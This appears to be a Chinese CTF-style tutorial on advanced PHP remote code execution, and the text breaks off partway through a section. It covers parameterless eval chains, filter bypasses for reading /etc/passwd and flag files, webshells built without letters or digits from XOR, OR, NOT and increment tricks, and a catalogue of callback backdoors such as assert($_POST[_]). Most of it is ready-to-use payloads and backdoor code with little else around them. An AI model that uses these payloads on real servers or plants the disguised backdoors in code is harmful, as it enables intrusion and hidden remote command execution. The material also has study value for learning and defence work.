RCE进阶技巧

无参数RCE

原理说明

无参数RCE是指在代码中只能使用函数,且函数不能带有参数。这种限制通常通过正则表达式实现:

1
2
3
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}

正则表达式/[^\W]+\((?R)?\)/的含义:

  • [^\W]+ - 匹配函数名(字母、数字、下划线)
  • \( - 匹配左括号
  • (?R)? - 递归匹配整个模式(允许函数嵌套)
  • \) - 匹配右括号

构造当前目录的点

localeconv()函数

函数说明:localeconv()返回一个包含本地数字及货币格式信息的数组,数组的第一项就是小数点”.”。

函数原型:localeconv(): array

利用示例:

1
2
print_r(localeconv());
// 输出:Array ( [decimal_point] => . [thousands_sep] => ... )

构造方法:

1
2
3
current(localeconv()) // 获取数组的第一个值,即"."
pos(localeconv()) // current()的别名,效果相同
reset(localeconv()) // 返回数组第一个单元的值

完整利用:

1
2
?code=print_r(scandir(current(localeconv())));
// 结果:列出当前目录的所有文件

原理说明:localeconv()返回的数组第一个元素是”.”,current()函数获取数组的当前元素(默认第一个),然后scandir(“.”)列出当前目录文件。

chr(46)函数

函数说明:chr()函数将ASCII码转换为字符,46对应字符”.”。

函数原型:chr(int $codepoint): string

利用方法一:直接使用chr(46)

1
2
print_r(scandir(chr(46)));
// 结果:列出当前目录的所有文件

利用方法二:chr(time())

1
2
print_r(scandir(chr(time())));
// 结果:多次尝试后列出当前目录

原理说明:chr()函数以256为一个周期,chr(46)、chr(302)、chr(558)都等于”.”。time()返回当前时间戳,随着时间增加,最终会得到46的倍数,从而得到”.”。

利用方法三:chr(current(localtime(time())))

1
2
print_r(scandir(chr(current(localtime(time()))));
// 结果:最多60秒内列出当前目录

原理说明:localtime()返回一个数组,第一个元素是秒数(0-59),current()获取第一个元素。秒数每秒增加1,最多60秒就会等于46,chr(46)就是”.”。

phpversion()函数

函数说明:phpversion()返回PHP版本号,如”5.5.9”。

函数原型:phpversion(): string

构造方法:通过数学运算得到46

1
2
3
4
5
6
7
8
phpversion() // 返回"5.5.9"
floor(phpversion()) // 返回5
sqrt(floor(phpversion())) // 返回2.2360679774998
tan(floor(sqrt(floor(phpversion())))) // 返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion()))))) // 返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion())))))) // 返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))) // 返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) // 返回"."

完整利用:

1
2
?code=print_r(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))));
// 结果:列出当前目录的所有文件

原理说明:通过一系列数学函数运算,将PHP版本号转换为46,然后chr(46)得到”.”,最后scandir列出目录。

crypt()函数

函数说明:crypt()函数返回字符串的hash值,hebrevc()函数反转希伯来文本的显示方向。

函数原型:

  • crypt(string $string, string $salt = ""): string
  • hebrevc(string $hebrew_text): string

利用方法一:hebrevc(crypt(arg))

1
2
print_r(scandir(chr(ord(hebrevc(crypt(time())))));
// 结果:多次刷新后列出当前目录

原理说明:crypt(time())生成一个hash值,hebrevc()反转显示方向,ord()获取第一个字符的ASCII码,chr()转换为字符。hash值第一个字符随机是”.”或”$”,多刷新几次即可得到”.”。

利用方法二:strrev(crypt(serialize(array())))

1
2
print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))));
// 结果:多次刷新后列出当前目录

原理说明:serialize(array())序列化数组,crypt()生成hash,strrev()反转字符串(将最后一个字符放到第一个位置),ord()获取第一个字符的ASCII码,chr()转换为字符。

查看目录文件

scandir()函数

函数说明:scandir()列出指定路径中的文件和目录。

函数原型:scandir(string $directory, int $sorting_order = SCANDIR_SORT_ASCENDING, ?resource $context = null): array|false

利用方法一:查看当前目录

1
2
print_r(scandir('.'));
// 结果:Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )

利用方法二:使用绝对路径

1
2
print_r(scandir(getcwd()));
// 结果:列出当前工作目录的文件

利用方法三:使用realpath()

1
2
print_r(scandir(realpath('.')));
// 结果:列出当前目录的文件

getcwd()函数

函数说明:getcwd()返回当前工作目录。

函数原型:getcwd(): string|false

利用示例:

1
2
print_r(scandir(getcwd()));
// 结果:列出当前工作目录的文件

realpath()函数

函数说明:realpath()返回规范化的绝对路径名。

函数原型:realpath(string $path): string|false

利用示例:

1
2
print_r(scandir(realpath('.')));
// 结果:列出当前目录的文件

dirname()函数

函数说明:dirname()返回路径中的目录部分。

函数原型:dirname(string $path, int $levels = 1): string

利用示例:

1
2
print_r(scandir(dirname(getcwd())));
// 结果:列出上级目录的文件

原理说明:getcwd()获取当前目录,dirname()获取上级目录路径,scandir()列出上级目录文件。

next()函数

函数说明:next()将数组内部指针向前移动一位。

函数原型:next(array|object &$array): mixed

利用示例:

1
2
3
4
5
6
$files = scandir(getcwd());
// $files = [".", "..", "flag.php", "index.php"]
print_r(next($files));
// 结果:".."(第二个元素)
print_r(scandir(next(scandir(getcwd()))));
// 结果:列出上级目录的文件

原理说明:scandir(getcwd())返回数组[“.”, “..”, “flag.php”, “index.php”],next()将指针移到第二个元素”..”,scandir(“..”)列出上级目录。

读取文件

show_source()函数

函数说明:show_source()是highlight_file()的别名,对文件进行语法高亮并输出。

函数原型:show_source(string $filename, bool $return = false): string|bool

利用方法一:读取最后一个文件

1
2
?code=show_source(end(scandir(getcwd())));
// 结果:显示当前目录最后一个文件的源码

利用方法二:读取倒数第一个文件

1
2
?code=show_source(current(array_reverse(scandir(getcwd()))));
// 结果:显示当前目录倒数第一个文件的源码

利用方法三:读取倒数第二个文件

1
2
?code=show_source(next(array_reverse(scandir(getcwd()))));
// 结果:显示当前目录倒数第二个文件的源码

利用方法四:随机读取文件

1
2
?code=show_source(array_rand(array_flip(scandir(getcwd()))));
// 结果:随机显示一个文件的源码

end()函数

函数说明:end()将数组的内部指针指向最后一个单元。

函数原型:end(array|object &$array): mixed

利用示例:

1
2
3
4
5
6
$files = scandir(getcwd());
// $files = [".", "..", "flag.php", "index.php"]
print_r(end($files));
// 结果:"index.php"(最后一个元素)
show_source(end(scandir(getcwd())));
// 结果:显示index.php的源码

array_reverse()函数

函数说明:array_reverse()返回单元顺序相反的数组。

函数原型:array_reverse(array $array, bool $preserve_keys = false): array

利用示例:

1
2
3
4
5
6
7
8
$files = scandir(getcwd());
// $files = [".", "..", "flag.php", "index.php"]
$reversed = array_reverse($files);
// $reversed = ["index.php", "flag.php", "..", "."]
print_r(current($reversed));
// 结果:"index.php"(反转后的第一个元素)
show_source(current(array_reverse(scandir(getcwd()))));
// 结果:显示index.php的源码

array_flip()函数

函数说明:array_flip()交换数组中的键和值。

函数原型:array_flip(array $array): array

利用示例:

1
2
3
4
5
6
7
8
$files = scandir(getcwd());
// $files = [0 => ".", 1 => "..", 2 => "flag.php", 3 => "index.php"]
$flipped = array_flip($files);
// $flipped = ["." => 0, ".." => 1, "flag.php" => 2, "index.php" => 3]
print_r(array_rand($flipped));
// 结果:随机返回一个文件名,如"flag.php"
show_source(array_rand(array_flip(scandir(getcwd()))));
// 结果:随机显示一个文件的源码

array_rand()函数

函数说明:array_rand()从数组中随机取出一个或多个单元。

函数原型:array_rand(array $array, int $num = 1): int|string|array

利用示例:

1
2
3
4
5
6
$files = array_flip(scandir(getcwd()));
// $files = ["." => 0, ".." => 1, "flag.php" => 2, "index.php" => 3]
$random = array_rand($files);
// $random = "flag.php"(随机)
show_source($random);
// 结果:显示flag.php的源码

readfile()函数

函数说明:readfile()读取文件并写入输出缓冲。

函数原型:readfile(string $filename, bool $use_include_path = false, ?resource $context = null): int|false

利用示例:

1
2
?code=readfile(end(scandir(getcwd())));
// 结果:读取并显示最后一个文件的内容

file_get_contents()函数

函数说明:file_get_contents()将整个文件读入一个字符串。

函数原型:file_get_contents(string $filename, bool $use_include_path = false, ?resource $context = null, int $offset = 0, ?int $length = null): string|false

利用示例:

1
2
?code=echo file_get_contents(end(scandir(getcwd())));
// 结果:读取并显示最后一个文件的内容

无参数命令执行

getallheaders()函数(仅Apache)

函数说明:getallheaders()获取所有HTTP请求头。

函数原型:getallheaders(): array

利用示例:

1
?code=eval(pos(getallheaders()));

HTTP请求头:

1
2
3
GET /vuln.php?code=eval(pos(getallheaders())) HTTP/1.1
Host: example.com
User-Agent: phpinfo();

原理说明:getallheaders()返回所有HTTP头的数组,pos()获取第一个元素的值(User-Agent的值),eval()执行该值。

get_defined_vars()函数

函数说明:get_defined_vars()返回所有已定义变量的数组。

函数原型:get_defined_vars(bool $full_globals = false): array

利用示例:

1
2
?code=eval(pos(pos(get_defined_vars())));
&leon=phpinfo();

原理说明:get_defined_vars()返回包含GET、POST、COOKIE等所有变量的数组,第一个pos()获取_GET数组,第二个pos()获取_GET数组的第一个元素”leon”的值”phpinfo()”,eval()执行。

session_id()函数

函数说明:session_id()获取或设置当前会话ID。

函数原型:session_id(?string $id = null): string|false

利用示例:

1
?code=eval(hex2bin(session_id(session_start())));

Cookie设置:

1
Cookie: PHPSESSID=706870696e666f28293b

原理说明:session_start()启动会话,session_id()获取会话ID,hex2bin()将十六进制转换为字符串,eval()执行。706870696e666f28293b是”phpinfo();”的十六进制编码。

getenv()函数(PHP7.1+)

函数说明:getenv()获取环境变量的值。

函数原型:getenv(string $varname = null): string|array|false

利用示例:

1
?code=eval(pos(getenv()));

原理说明:getenv()返回所有环境变量的数组,pos()获取第一个环境变量的值,eval()执行。需要修改php.ini的variables_order包含”E”才能获取环境变量。

绕过各种过滤

绕过空格过滤

在Linux中,空格可以用以下字符代替:

%09(tab键)

1
?cmd=cat%09/etc/passwd

原理说明:%09是tab键的URL编码,在shell中tab可以代替空格。

${IFS}

1
?cmd=cat${IFS}/etc/passwd

原理说明:${IFS}是Linux内部字段分隔符(Internal Field Separator)的变量,默认值包含空格、制表符、换行符等,因此可以代替空格。

$IFS$9

1
?cmd=cat$IFS$9/etc/passwd

原理说明:$IFS是内部字段分隔符变量,$9是shell的第九个参数(通常为空),组合起来就是空格。数字1-9都可以使用。

%20(space)

1
?cmd=cat%20/etc/passwd

原理说明:%20是空格的URL编码。

<(重定向符)

1
?cmd=cat</etc/passwd

原理说明:<是输入重定向符,可以代替空格,但需要文件有读权限。

<>(重定向符)

1
?cmd=cat<>/etc/passwd

原理说明:<>是同时读写重定向符,可以代替空格,但需要文件有读写权限。

绕过命令分隔符过滤

当分号被过滤时,可以使用以下方法:

?>(PHP标签结束符)

1
?code=include$_GET[a]?>&a=/etc/passwd

原理说明:在eval中,?>可以代替分号作为语句结束符。

%0a(换行符)

1
?cmd=cat%20/etc/passwd%0als

原理说明:%0a是换行符的URL编码,在shell中换行可以分隔命令。

||(逻辑或)

1
?cmd=cat%20/etc/passwd||ls

原理说明:||是逻辑或运算符,前面的命令执行失败时才执行后面的命令。

&&(逻辑与)

1
?cmd=cat%20/etc/passwd&&ls

原理说明:&&是逻辑与运算符,前面的命令执行成功时才执行后面的命令。

|(管道符)

1
?cmd=cat%20/etc/passwd|head

原理说明:|是管道符,将前一个命令的输出作为后一个命令的输入。

&(后台执行)

1
?cmd=cat%20/etc/passwd&ls

原理说明:&将命令放到后台执行,同时执行下一个命令。

绕过关键字过滤

通配符绕过

?通配符(匹配单个字符)

1
?cmd=cat%20fla?.php

原理说明:?匹配任意单个字符,fla?.php可以匹配flag.php、flab.php等。

*通配符(匹配多个字符)

1
?cmd=cat%20fla*.php

原理说明:匹配零个或多个字符,fla.php可以匹配flag.php、flag1.php、flag_test.php等。

[]通配符(匹配字符集)

1
?cmd=cat%20fla[g-z].php

原理说明:[]匹配指定范围内的任意一个字符,fla[g-z].php可以匹配flag.php、flaz.php等。

引号打断关键字

1
2
?cmd=cat%20fl''ag.php
?cmd=cat%20fl""ag.php

原理说明:单引号或双引号可以打断关键字识别,fl’’ag.php会被解析为flag.php。

反引号打断关键字

1
?cmd=cat%20fl``ag.php

原理说明:反引号可以打断关键字识别,fl``ag.php会被解析为flag.php。

反斜杠转义

1
?cmd=cat%20fl\ag.php

原理说明:反斜杠可以转义字符,fl\ag.php会被解析为flag.php。

使用替代命令

tac命令(反向显示)

1
?cmd=tac%20/etc/passwd

原理说明:tac是cat的反向,从最后一行开始显示文件内容。

more命令(分页显示)

1
?cmd=more%20/etc/passwd

原理说明:more命令分页显示文件内容,一次显示一屏。

less命令(分页显示)

1
?cmd=less%20/etc/passwd

原理说明:less命令也是分页显示文件内容,比more功能更强大。

head命令(显示前几行)

1
?cmd=head%20-n%2010%20/etc/passwd

原理说明:head命令显示文件的前10行。

tail命令(显示后几行)

1
?cmd=tail%20-n%2010%20/etc/passwd

原理说明:tail命令显示文件的后10行。

nl命令(带行号显示)

1
?cmd=nl%20/etc/passwd

原理说明:nl命令显示文件内容并添加行号。

sort命令(排序显示)

1
?cmd=sort%20/etc/passwd

原理说明:sort命令对文件内容进行排序。

uniq命令(去重显示)

1
?cmd=uniq%20/etc/passwd

原理说明:uniq命令去除文件中的重复行。

rev命令(反向显示)

1
?cmd=rev%20/etc/passwd

原理说明:rev命令将文件内容每行字符反转。

xxd命令(十六进制显示)

1
?cmd=xxd%20/etc/passwd

原理说明:xxd命令以十六进制格式显示文件内容。

strings命令(提取可打印字符)

1
?cmd=strings%20/etc/passwd

原理说明:strings命令从二进制文件中提取可打印字符。

od命令(八进制显示)

1
?cmd=od%20-c%20/etc/passwd

原理说明:od命令以八进制或其他格式显示文件内容。

dir命令(Windows)

1
?cmd=dir

原理说明:dir命令在Windows中列出目录内容,与Linux的ls类似。

绕过括号过滤

当括号被过滤时,可以使用不带括号的函数:

include语言结构

1
?code=include$_GET[a]&a=/etc/passwd

原理说明:include是语言结构而非函数,可以不带括号调用。

require语言结构

1
?code=require$_GET[a]&a=/etc/passwd

原理说明:require是语言结构而非函数,可以不带括号调用。

绕过数字过滤

使用通配符

1
2
?cmd=cat%20flag?.php
?cmd=cat%20flag*.php

原理说明:?和*通配符可以匹配文件名中的数字部分。

使用find命令

1
2
?cmd=find%20/%20-name%20"flag*"
?cmd=find%20/%20-name%20"fla?"

原理说明:find命令可以查找文件,-name参数指定文件名模式,支持通配符。

绕过特殊字符过滤

使用十六进制编码

1
?cmd=system(hex2bin('77686f616d69'))

原理说明:hex2bin()函数将十六进制字符串转换为普通字符串,77686f616d69是”whoami”的十六进制编码。

使用base64编码

1
?cmd=system(base64_decode('d2hvYW1p'))

原理说明:base64_decode()函数将base64编码的字符串解码,d2hvYW1p是”whoami”的base64编码。

使用URL编码

1
?cmd=system(urldecode('%77%68%6f%61%6d%69'))

原理说明:urldecode()函数将URL编码的字符串解码,%77%68%6f%61%6d%69是”whoami”的URL编码。

无字母数字webshell

异或方法

原理说明:在PHP中,两个字符串执行异或操作后得到的还是一个字符串。通过找到两个非字母数字的字符,使它们的异或结果为目标字母。

异或运算原理

异或运算(XOR)的规则:

  • 0 XOR 0 = 0
  • 0 XOR 1 = 1
  • 1 XOR 0 = 1
  • 1 XOR 1 = 0

对于字符的异或,是对字符的ASCII码进行异或运算。

利用示例

1
2
3
4
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

攻击Payload:

1
2
POST /vuln.php
_ = system('ls');

原理说明:

  • %01^'‘` 异或得到字符’a’
  • 多个异或组合得到’assert’和’_POST’
  • $$__ 等价于 $_POST
  • $_($___[_]) 等价于 assert($_POST[_])

生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
} else {
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
} else {
$hex_j=dechex($j);
}
$preg = '/[a-z0-9]/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
} else {
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

原理说明:脚本遍历所有可能的字符组合,找到两个非字母数字的字符,它们的异或结果是可见字符(ASCII 32-126),将结果写入文件。

或运算方法

原理说明:与异或类似,使用或运算构造字符。

或运算原理

或运算(OR)的规则:

  • 0 OR 0 = 0
  • 0 OR 1 = 1
  • 1 OR 0 = 1
  • 1 OR 1 = 1

利用示例

1
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60");

原理说明:

  • %13|%60 或运算得到字符’s’
  • 多个或运算组合得到’system’和’ls’
  • 最终执行system(‘ls’)

生成脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
$myfile = fopen("or_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
} else {
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
} else {
$hex_j=dechex($j);
}
$preg = '/[0-9a-z]/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
} else {
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
?>

取反方法

原理说明:对UTF-8编码的汉字取反可以得到字母。

取反运算原理

取反运算(NOT)是对每个二进制位取反:

  • 0 变为 1
  • 1 变为 0

利用示例

1
(~%8C%86%8C%8B%9A%92)(~%93%8C); // system('ls')

原理说明:

  • %8C%86%8C%8B%9A%92 是’system’的取反后URL编码
  • %93%8C 是’ls’的取反后URL编码
  • ~ 是取反运算符
  • 最终执行system(‘ls’)

生成方法

1
2
3
4
<?php
var_dump(urlencode(~'system'));
var_dump(urlencode(~'ls'));
?>

原理说明:~’system’对’system’字符串取反,urlencode()将结果URL编码。

自增方法

原理说明:PHP支持字符串自增,’a’++ => ‘b’,’b’++ => ‘c’。

字符串自增原理

PHP中的字符串自增遵循以下规则:

  • ‘a’ 到 ‘z’ 可以自增
  • ‘A’ 到 ‘Z’ 可以自增
  • ‘z’ 或 ‘Z’ 自增后进位

利用示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0]='A';
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__; // ASSERT

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__; // _POST

$_=$$____;
$___($_POST[_]); // ASSERT($_POST[_]);

攻击Payload:

1
2
POST /vuln.php
_ = system('ls');

原理说明:

  • $_=[] 创建空数组
  • $_=@"$_" 强制转换为字符串,得到’Array’
  • $_=$_['!'=='@'] ‘!‘==‘@’为false,false转换为整数0,取数组的第0个元素,得到’A’
  • 通过自增从’A’得到’S’、’E’、’R’、’T’,组合成’ASSERT’
  • 同理得到’_POST’
  • $_=$$____ 等价于 $_=$_POST
  • $___($_POST[_]) 等价于 ASSERT($_POST[_])

回调后门

单参数回调后门

原理说明:使用assert函数作为回调,PHP 5.4.8+支持assert作为单参数回调。

call_user_func()函数

函数说明:call_user_func()把第一个参数作为回调函数调用。

函数原型:call_user_func(callable $callback, mixed ...$args): mixed

利用示例:

1
2
3
<?php
call_user_func('assert', $_REQUEST['pass']);
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:call_user_func将第一个参数’assert’作为函数名,第二个参数$_REQUEST[‘pass’]作为参数传递给assert函数,最终执行assert(‘system(‘ls’)’)。

call_user_func_array()函数

函数说明:call_user_func_array()调用回调函数,并将参数作为数组传递。

函数原型:call_user_func_array(callable $callback, array $args): mixed

利用示例:

1
2
3
<?php
call_user_func_array('assert', array($_REQUEST['pass']));
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:call_user_func_array将第一个参数’assert’作为函数名,第二个参数数组中的元素作为参数传递给assert函数。

register_shutdown_function()函数

函数说明:register_shutdown_function()注册一个在脚本执行结束时执行的函数。

函数原型:register_shutdown_function(callable $callback, mixed ...$args): bool

利用示例:

1
2
3
<?php
register_shutdown_function('assert', $_REQUEST['pass']);
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:register_shutdown_function注册assert函数,在脚本结束时执行,参数为$_REQUEST[‘pass’]。

filter_var()函数

函数说明:filter_var()使用指定的过滤器过滤变量。

函数原型:filter_var(mixed $value, int $filter = FILTER_DEFAULT, array|int $options = 0): mixed

利用示例:

1
2
3
<?php
filter_var($_REQUEST['pass'], FILTER_CALLBACK, array('options' => 'assert'));
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:filter_var使用FILTER_CALLBACK过滤器,回调函数为’assert’,对$_REQUEST[‘pass’]进行过滤,实际执行assert(‘system(‘ls’)’)。

filter_var_array()函数

函数说明:filter_var_array()获取多个变量并使用指定的过滤器过滤。

函数原型:filter_var_array(array $data, array|int $options = FILTER_DEFAULT, bool $add_empty = true): array|false|null

利用示例:

1
2
3
<?php
filter_var_array(array('test' => $_REQUEST['pass']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:filter_var_array对数组中的每个元素应用FILTER_CALLBACK过滤器,回调函数为’assert’。

二参数回调后门

原理说明:使用assert函数作为回调,需要PHP 5.4.8+版本。在PHP 5.4.8+中,assert函数支持两个参数(第二个参数是描述信息)。

uasort()函数

函数说明:uasort()使用用户定义的比较函数对数组进行排序并保持索引关联。

函数原型:uasort(array &$array, callable $callback): bool

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));
?>

攻击Payload:

1
2
3
POST /vuln.php
e = YXNzZXJ0 (assert的base64)
pass = system('ls')

原理说明:uasort的比较函数接受两个参数,base64_decode(‘YXNzZXJ0’)=’assert’,比较时会调用assert(‘test’, ‘system(‘ls’)’),在PHP 5.4.8+中可以执行。

ArrayObject::uasort()方法

利用示例:

1
2
3
4
<?php
$arr = new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:ArrayObject对象的uasort方法与uasort函数功能相同。

uksort()函数

函数说明:uksort()使用用户自定义的比较函数对数组中的键名进行排序。

函数原型:uksort(array &$array, callable $callback): bool

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array('test' => 1, $_REQUEST['pass'] => 2);
uksort($arr, $e);
?>

攻击Payload:

1
2
3
POST /vuln.php
e = assert
pass = system('ls')

原理说明:uksort会对数组的键进行比较,回调函数assert会被调用,参数是两个键名’test’和’system(‘ls’)’,在PHP 5.4.8+中可以执行。

三参数回调后门

原理说明:使用preg_replace的/e模式,需要PHP 7.3以下版本。/e模式会将替换字符串作为PHP代码执行。

array_walk()函数

函数说明:array_walk()使用用户自定义函数对数组中的每个元素做回调处理。

函数原型:array_walk(array|object &$array, callable $callback, mixed $arg = null): bool

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e');
array_walk($arr, $e, '');
?>

攻击Payload:

1
2
3
POST /vuln.php
e = preg_replace
pass = phpinfo()

原理说明:array_walk的回调函数接受三个参数(值、键、额外参数)。这里使用preg_replace作为回调,利用/e模式执行代码。|.|e是正则表达式,匹配所有内容并执行。实际执行preg_replace(‘|.|e’, ‘’, ‘phpinfo()’),由于/e模式,’phpinfo()’会被当作PHP代码执行。

array_walk_recursive()函数

函数说明:array_walk_recursive()对数组中的每个元素递归应用用户自定义函数。

函数原型:array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'] => '|.*|e');
array_walk_recursive($arr, $e, '');
?>

攻击Payload:

1
2
3
POST /vuln.php
e = preg_replace
pass = phpinfo()

原理说明:array_walk_recursive与array_walk类似,但会递归处理多维数组。

其他回调后门

array_filter()函数

函数说明:array_filter()使用回调函数过滤数组的元素。

函数原型:array_filter(array $array, ?callable $callback = null, int $mode = 0): array

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
array_filter($arr, base64_decode($e));
?>

攻击Payload:

1
2
3
POST /vuln.php
e = YXNzZXJ0 (assert的base64)
pass = system('ls')

原理说明:array_filter会遍历数组,将每个元素传递给回调函数assert,最终执行assert(‘system(‘ls’)’)。

array_map()函数

函数说明:array_map()为数组的每个元素应用回调函数。

函数原型:array_map(?callable $callback, array $array, array ...$arrays): array

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
array_map(base64_decode($e), $arr);
?>

攻击Payload:

1
2
3
POST /vuln.php
e = YXNzZXJ0 (assert的base64)
pass = system('ls')

原理说明:array_map会将回调函数应用到数组的每个元素,与array_filter类似。

array_reduce()函数

函数说明:array_reduce()用回调函数迭代地将数组简化为单一的值。

函数原型:array_reduce(array $array, callable $callback, mixed $initial = null): mixed

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array(1);
array_reduce($arr, $e, $_POST['pass']);
?>

攻击Payload:

1
2
3
POST /vuln.php
e = assert
pass = system('ls')

原理说明:array_reduce的回调函数接受两个参数(carry和item),初始值为$_POST[‘pass’],回调函数为assert,最终执行assert(‘system(‘ls’)’)。

array_udiff()函数

函数说明:array_udiff()使用回调函数比较数组的差异。

函数原型:array_udiff(array $array, array ...$arrays, callable $value_compare_func): array

利用示例:

1
2
3
4
5
6
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
$arr2 = array(1);
array_udiff($arr, $arr2, $e);
?>

攻击Payload:

1
2
3
POST /vuln.php
e = assert
pass = system('ls')

原理说明:array_udiff的比较函数接受两个参数,回调函数为assert,比较时会执行assert。

usort()函数

函数说明:usort()使用用户自定义的比较函数对数组中的值进行排序。

函数原型:usort(array &$array, callable $callback): bool

利用示例:

1
2
3
4
5
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass']);
usort($arr, $e);
?>

攻击Payload:

1
2
3
POST /vuln.php
e = assert
pass = system('ls')

原理说明:usort的比较函数接受两个参数,回调函数为assert,比较时会执行assert。

create_function构造

原理说明:create_function动态创建函数,可以绕过某些限制。

create_function()函数

函数说明:create_function()动态创建一个匿名函数。

函数原型:create_function(string $args, string $code): string

利用示例:

1
2
3
<?php
preg_replace_callback('/.+/i', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:create_function创建一个匿名函数,参数为$arr,函数体为’return assert($arr[0]);’。preg_replace_callback的回调函数就是这个匿名函数,参数$_REQUEST[‘pass’]会被传递给$arr,最终执行assert(‘system(‘ls’)’)。

mb_ereg_replace_callback()函数

函数说明:mb_ereg_replace_callback()执行正则表达式的搜索和替换,使用回调函数进行替换。

函数原型:mb_ereg_replace_callback(string $pattern, callable $callback, string $string, ?string $options = null): string|false|null

利用示例:

1
2
3
<?php
mb_ereg_replace_callback('.+', create_function('$arr', 'return assert($arr[0]);'), $_REQUEST['pass']);
?>

攻击Payload:

1
2
POST /vuln.php
pass = system('ls')

原理说明:与preg_replace_callback类似,使用create_function创建回调函数。

有限字符下的RCE

Linux命令技巧

重定向符创建文件

>重定向符

1
>filename

原理说明:>是输出重定向符,如果文件不存在则创建新文件,如果文件存在则清空文件内容。

>>重定向符

1
echo "content" >> filename

原理说明:>>是追加重定向符,将内容追加到文件末尾,不会覆盖原有内容。

echo命令写入内容

1
echo "content" > filename

原理说明:echo命令输出内容,>将输出重定向到文件。

sh执行文件

1
sh filename

原理说明:sh命令会将文件内容当作shell命令执行。文件不需要执行权限。

ls排序技巧

ls -t命令

1
ls -t

原理说明:-t参数按文件修改时间排序,新创建的文件排在前面。

ls -h命令

1
ls -ht

